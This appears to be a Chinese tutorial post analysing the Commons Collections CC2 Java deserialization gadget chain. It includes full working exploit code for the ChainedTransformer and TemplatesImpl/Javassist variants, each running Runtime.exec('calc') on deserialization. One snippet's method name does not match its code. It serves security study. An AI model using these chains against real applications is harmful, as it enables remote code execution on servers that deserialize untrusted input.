CommonsCollections2反序列化链简析

JDK 8u71版本以后,对AnnotationInvocationHandler类的readObject()进行了修复,此后不再调用setValue()方法。针对LazyMap路径,创建新的LinkedHashMap替换原本传入的proxyMap作为memberValues字段,不再直接对原本构造的proxyMap进行EntrySet()操作


依赖ChainedTransformer的CC2链构建路径

该路径依然利用ChainedTransformer类的transform()方法进行链式调用,与CC1的不同点在于触发transform()方法的上层是TransformingComparator类的compare()方法

public int compare(I obj1, I obj2) {
O value1 = (O)this.transformer.transform(obj1);
O value2 = (O)this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

TransformingComparator的构造器是公开方法

public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}

public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}

直接构造即可,此时的链便可改写为如下

Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
transformingComparator.compare(1,1);

此时会抛出一个异常,是返回值类型不匹配的原因,但此时命令已经执行完毕了,故影响不大(后面立即打脸),继续寻找上层,在PriorityQueue类的siftDownUsingComparator()方法调用了compare()

private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}

siftDownUsingComparator()被同一个类的siftDown()方法调用

private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}

siftDown()被同一个类的heapify()调用

private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

heapify()被则readObject()调用了

private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();

// Read in (and discard) array length
s.readInt();

queue = new Object[size];

// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();

// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}

所以构造链的起点在PriorityQueue类,类内部的调用顺序是readObject()->heapify()->siftDown()->siftDownUsingComparator()->compare()

我们需要comparator为构造好的transformingComparator对象用来触发compare(),在PriorityQueue类内的一个公开构造器可以直接赋值comparator

public PriorityQueue(Comparator<? super E> comparator) {
this(DEFAULT_INITIAL_CAPACITY, comparator);
}

此外在heapify()方法中,要进入for循环的条件是size>=2

size >>> 1 size 除以 2
(size >>> 1) - 1 结果减 1
i >= 0 循环继续条件

所以截止目前,链的样子已经几乎完整了

public class CC2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Integer> priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
serialize(priorityQueue);
deserialize("cc2-1.ser");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("cc2-1.ser")));
oos.writeObject(obj);
}

public static void deserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
ois.readObject();
}
}

此时运行程序会弹出两次计算器,但是这个链是失败的,如果在反序列化处打一个断点会发现程序实际上根本没有进行反序列化,而是提前终止了。这说明两次命令执行在序列化之前,之后就被抛出的异常终止了

调试程序,在priorityQueue调用add()时步入

public boolean add(E e) {
return offer(e);
}

程序执行了offer()方法,步入

public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

第一次调用add()时,直接放入元素,第二次调用add()时,会执行siftUp()方法

private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}

这里设置了comparatortransformingComparator此时会进入siftUpUsingComparator()

private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}

siftUpUsingComparator()也调用了compare()这就是程序在序列化前执行命令的原因,继续看compare()方法

public int compare(I obj1, I obj2) {
O value1 = (O)this.transformer.transform(obj1);
O value2 = (O)this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

由于在构造transformingComparator时使用了单参数的构造器,导致this.decorated被赋值为默认的ComparatorUtils.NATURAL_COMPARATOR

public static final Comparator NATURAL_COMPARATOR = ComparableComparator.comparableComparator();

进入ComparableComparator.comparableComparator()

public static <E extends Comparable<? super E>> ComparableComparator<E> comparableComparator() {
return INSTANCE;
}

该静态方法返回了INSTANCE字段

public static final ComparableComparator INSTANCE = new ComparableComparator();

其实默认的this.decorated就是一个ComparableComparator实例,这个类的compare()方法决定了抛出异常的原因

public int compare(E obj1, E obj2) {
return obj1.compareTo(obj2);
}

该方法接受两个泛型对象,从该类的签名中

public class ComparableComparator<E extends Comparable<? super E>> implements Comparator<E>, Serializable

可以看到,接受的两个参数需要是Comparable接口的实现类,而在PriorityQueue类中执行compare()后的两个value1value2返回的是命令执行的Process类型,这就是报错的原因

要解决的方法也很简单,在执行add()之前先不往PriorityQueue传入transformingComparator,那么在执行siftUp()comparator字段为空,进入siftUpComparable(),不再调用compare()add()执行完毕后再通过反射修改comparatortransformingComparator,至此整条链构建完毕

public class CC2 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Integer> priorityQueue = new PriorityQueue<>();
priorityQueue.add(1);
priorityQueue.add(2);
Class clazz = priorityQueue.getClass();
Field field = clazz.getDeclaredField("comparator");
field.setAccessible(true);
field.set(priorityQueue, transformingComparator);
serialize(priorityQueue);
deserialize("cc2-1.ser");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("cc2-1.ser")));
oos.writeObject(obj);
}

public static void deserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
ois.readObject();
}
}

总结一下,我们反序列化了一个PriorityQueue对象,类内部的调用顺序是readObject()->heapify()->siftDown()->siftDownUsingComparator()->compare(),之后的顺序则与CC1保持一致


动态类加载机制

Java的动态类加载机制允许在程序运行时加载类对象,Javassist是一个Java字节码操作工具包,能够简化动态创建和修改类的过程。

使用Javassist创建类

进行创建类之前,需要实例化一个ClassPool对象来创建类,可以使用其静态方法getDefault()获取

ClassPool pool = ClassPool.getDefault();

ClassPoolmakeClass()方法用于构建类,需要传入一个字符串作为该类的名称,或者使用get()方法,传入的参数是该类的路径

CtClass test = pool.makeClass("test");
CtClass test2 = pool.get("java.lang.String");

使用CtField类的make()方法可以为创建的类设置属性,该方法传入属性的签名和操作的CtClass对象,属性签名需要手动添加分号。设置完成后使用addField()方法为创建的类添加该属性

CtField testField = CtField.make("public String testField;",test);
test.addField(testField);

使用CtMethod类的make()方法可以为创建的类设置方法,该方法传入方法的签名和操作的CtClass对象,注意如果不写{ }程序会自动添加abstract修饰符。设置完成后使用addMethod()方法为创建的类添加该方法

CtMethod testMethod = CtMethod.make("public String testMethod(String arg) { return arg; }",test);
test.addMethod(testMethod);

使用CtMethod类的setBody()方法可以为其添加方法体

testMethod.setBody("System.out.println(\"test\");");

通过实例化CtConstructor类可与生成构造器,接受两个参数,一个是构造器接受的参数类型,一个是要操作的CtClass对象。设置完成后使用addConstructor()方法为创建的类添加该构造器

CtConstructor constructor = new CtConstructor(new  CtClass[]{CtClass.intType}, test);
test.addConstructor(constructor);

使用CtClass类的makeClassInitializer()可以为构建的类添加静态代码块,该方法返回一个CtConstructor类型的对象,静态代码块不需要使用addConstructor()方法去添加

CtConstructor constructor1 = test.makeClassInitializer();
constructor1.setBody("System.out.println(\"123\");");

CtClass类的writeFile()方法可以将创建的类的类文件导出到定义的目录

test.writeFile("src/main/java/org/example");

在指定目录下便会出现test.class文件

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

public class test {
public String testField;

public void testMethod(String var1) {
System.out.println("test");
}

public test(int var1) {
}

static {
System.out.println("123");
}
}

加载类对象

使用CtClass类的toBytecode()可以将对象转化为字节码数组

byte[] bytes = test.toBytecode();

ClassLoader类的defineClass()方法用于将类加载到内存中

protected final Class<?> defineClass(byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(null, b, off, len, null);

protected final Class<?> defineClass(String name, byte[] b, int off, int len, ProtectionDomain protectionDomain)
throws ClassFormatError
{
protectionDomain = preDefineClass(name, protectionDomain);
String source = defineClassSourceLocation(protectionDomain);
Class<?> c = defineClass1(name, b, off, len, protectionDomain, source);
postDefineClass(c, protectionDomain);
return c;
}

该方法被protected修饰,可以通过反射去调用它

Class clazz = Class.forName("java.lang.ClassLoader");
Method method = clazz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
ClassLoader classLoader = ClassLoader.getSystemClassLoader();

Class<?> invoke = (Class<?>) method.invoke(classLoader,bytes, 0, bytes.length);
invoke.newInstance();

invoke.newInstance()会加载test类并实例化,触发静态代码块的执行


依赖TemplatesImpl的CC2链构建路径

该链利用恶意的字节码文件生成恶意对象来触发命令执行,在TemplatesImpldefineTransletClasses()方法中

private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

该方法帮我们获取了loader_bytecodes可以设置为我们构建的恶意类字节码数组,注意到如果我们的恶意类的父类不为ABSTRACT_TRANSLET就会导致_transletIndex为-1抛出异常终止程序,这在上面可以找到

private int _transletIndex = -1;

此外,_tfactory被默认设置为空,若不处理会造成空指针异常,可通过反射修改

private transient TransformerFactoryImpl _tfactory = null;

条件符合后,我们的恶意类字节码就会被loader加载进内存,保存进_class数组中

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

接下来寻找上层方法,在同类的getTransletInstance()发现

private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;

if (_class == null) defineTransletClasses();

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}

_class为空时,调用了defineTransletClasses()方法,但是有个前提是_name不为空,该字段默认为空且被private修饰,但也可以通过反射修改

private String _name = null;

后面,_class[_transletIndex].newInstance()说明此处恶意类被实例化,这也是该链的终点。继续寻找调用了getTransletInstance()的上层方法,在同类的newTransformer()

public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory);

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}

调用newTransformer()是通过InvokerTransformer进行的,在transformingComparator执行compare()方法时

public int compare(I obj1, I obj2) {
O value1 = (O)this.transformer.transform(obj1);
O value2 = (O)this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}

我们需要构造的InvokerTransformer需要调用newTransformer()方法,所以obj1obj2需要是一个TemplatesImpl实例,往上追溯siftDownUsingComparator()方法

private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}

obj1obj2分别对应(E) c(E) queue[right],其实都是queue[]数组的元素,只需要让其数组里面都是TemplatesImpl实例就好了,queue[]数组在offer()中被赋值

public boolean offer(E e) {
if (e == null)
throw new NullPointerException();
modCount++;
int i = size;
if (i >= queue.length)
grow(i + 1);
size = i + 1;
if (i == 0)
queue[0] = e;
else
siftUp(i, e);
return true;
}

offer()的参数不还是从add()中传进来的嘛!所以把原来的传进去的值改成TemplatesImpl实例就行了,下面正式构造链

构建恶意类

ClassPool pool = ClassPool.getDefault();
CtClass test = pool.makeClass("test");
CtConstructor constructor = test.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
test.setSuperclass(superClass);
byte[] bytes = test.toBytecode();

实例化TemplatesImpl对象并通过反射赋值

TemplatesImpl templatesImpl = new TemplatesImpl();
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl, "any");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templatesImpl, new byte[][]{bytes});
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesImpl, new TransformerFactoryImpl());

构建InvokerTransformer对象指向TemplatesImpl类的newTransformer()方法,构建TransformingComparator对象使其compare()方法触发InvokerTransformer对象的transform()方法

InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);

构建PriorityQueue对象,依然要处理提前终止的问题,这里的思路是不使用add()方法而是利用反射直接修改sizequeue字段的值,使其传递的objTemplatesImpl对象

PriorityQueue<TemplatesImpl> priorityQueue = new PriorityQueue<>(transformingComparator);
Class clazz = priorityQueue.getClass();
Field queue = clazz.getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue, new Object[]{templatesImpl,templatesImpl});
Field size = clazz.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue, 2);

由此,依赖TemplatesImpl的CC2链构造完毕,全链如下

public class CC2TemplatesImpl {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass test = pool.makeClass("test");
CtConstructor constructor = test.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
test.setSuperclass(superClass);
byte[] bytes = test.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
Class<TemplatesImpl> templatesClass = TemplatesImpl.class;
Field name = templatesClass.getDeclaredField("_name");
name.setAccessible(true);
name.set(templatesImpl, "any");
Field bytecodes = templatesClass.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templatesImpl, new byte[][]{bytes});
Field tfactory = templatesClass.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templatesImpl, new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
TransformingComparator transformingComparator = new TransformingComparator(invokerTransformer);
PriorityQueue<TemplatesImpl> priorityQueue = new PriorityQueue<>(transformingComparator);
Class clazz = priorityQueue.getClass();
Field queue = clazz.getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue, new Object[]{templatesImpl,templatesImpl});
Field size = clazz.getDeclaredField("size");
size.setAccessible(true);
size.set(priorityQueue, 2);

serialize(priorityQueue);
deserialize("cc2-2.ser");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("cc2-2.ser")));
oos.writeObject(obj);
}

public static void deserialize(String filename) throws Exception {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
ois.readObject();
}
}

不总结了,感觉前面说的够清晰了(嘿